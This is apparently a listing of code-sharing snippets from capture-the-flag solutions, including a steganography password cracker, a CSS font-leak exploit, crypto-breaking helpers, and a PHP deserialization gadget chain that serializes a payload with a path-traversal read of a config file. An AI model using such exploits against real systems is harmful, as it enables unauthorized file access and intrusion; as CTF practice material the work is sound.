View cracker.py
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/env python3 | |
import subprocess | |
import threading | |
import sys | |
compressed = True | |
def try_password(threads_i, i, password, steg_file): | |
try: | |
print(' '*74+'\r'+f"[{i}] Thread {threads_i} try password : {password}", end='\r') |
View exploit.py
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
charset = string.ascii_uppercase + string.digits | |
template = """ | |
@font-face{ | |
font-family: def; | |
src: url(/static/fonts/Georgia.ttf); | |
} | |
@font-face{ | |
font-family: poc; | |
src: url(/static/fonts/GeorgiaBold.ttf); |
View exploit.py
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/env python3 | |
from http.server import test, SimpleHTTPRequestHandler, HTTPServer, BaseHTTPRequestHandler | |
import requests | |
import argparse | |
from colorama import init as colorama_init | |
from colorama import Fore | |
from colorama import Style | |
import base64 | |
import random | |
import string |
View aes.rb
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
require 'securerandom' | |
require 'openssl' | |
require 'base64' | |
require 'json' | |
def aes256_cbc_encrypt(key, data) | |
key = Digest::SHA256.digest(key) if (key.kind_of?(String) && 32 != key.bytesize) | |
iv = SecureRandom.random_bytes(16) | |
iv = Digest::MD5.digest(iv) if (iv.kind_of?(String) && 16 != iv.bytesize) |
View exploit.php
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
namespace GuzzleHttp\Psr7; | |
include_once "vendor/autoload.php"; | |
$fnstream = new FnStream([]); | |
$noseekstream = new NoSeekStream($fnstream); | |
$noseekstream->custom_method = ['allow_attribute', 'register', 'register', 'getContents']; | |
$stream = new Stream(fopen("test.php","r"), ["metadata" => $noseekstream, "size"=>[['_fn_getContents'],['_fn_getContents', '/../../../../config'], ['display_content', true], []]]); | |
$payload = base64_encode(serialize($stream)); |
View exploit.py
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import requests | |
import sys | |
file = "/var/www/html/admin_panel/user_prefs/flag.php" | |
if len(sys.argv) > 1: | |
file = sys.argv[1] | |
headers = { | |
"User-Agent": "DGHACK/1.0 (Curlify)" | |
} |
View pas-choronophage.py
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
from PIL import Image | |
import requests | |
import shutil | |
import math | |
from itertools import product | |
import os | |
import base64 | |
import re | |
img_path = './imgs/' |
View myxor.py
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/env python3 | |
import base64 | |
import argparse | |
import string | |
class XorBreak: | |
def __init__(self, clear, ciphertext, key, cribs): | |
self.clear = clear | |
self.ciphertext = ciphertext | |
self.key = key |
View cbc.py
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/env python3 | |
import json | |
import os | |
import sys | |
import re | |
import binascii | |
from Crypto.Cipher import AES | |
from Crypto.Util.Padding import pad,unpad | |
BLOCK_SIZE = 16 |
View HerVIP1.py
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/env python3 | |
import requests | |
import string | |
import time | |
import sys | |
import random | |
import string | |
''' | |
table : | |
- users : |
NewerOlder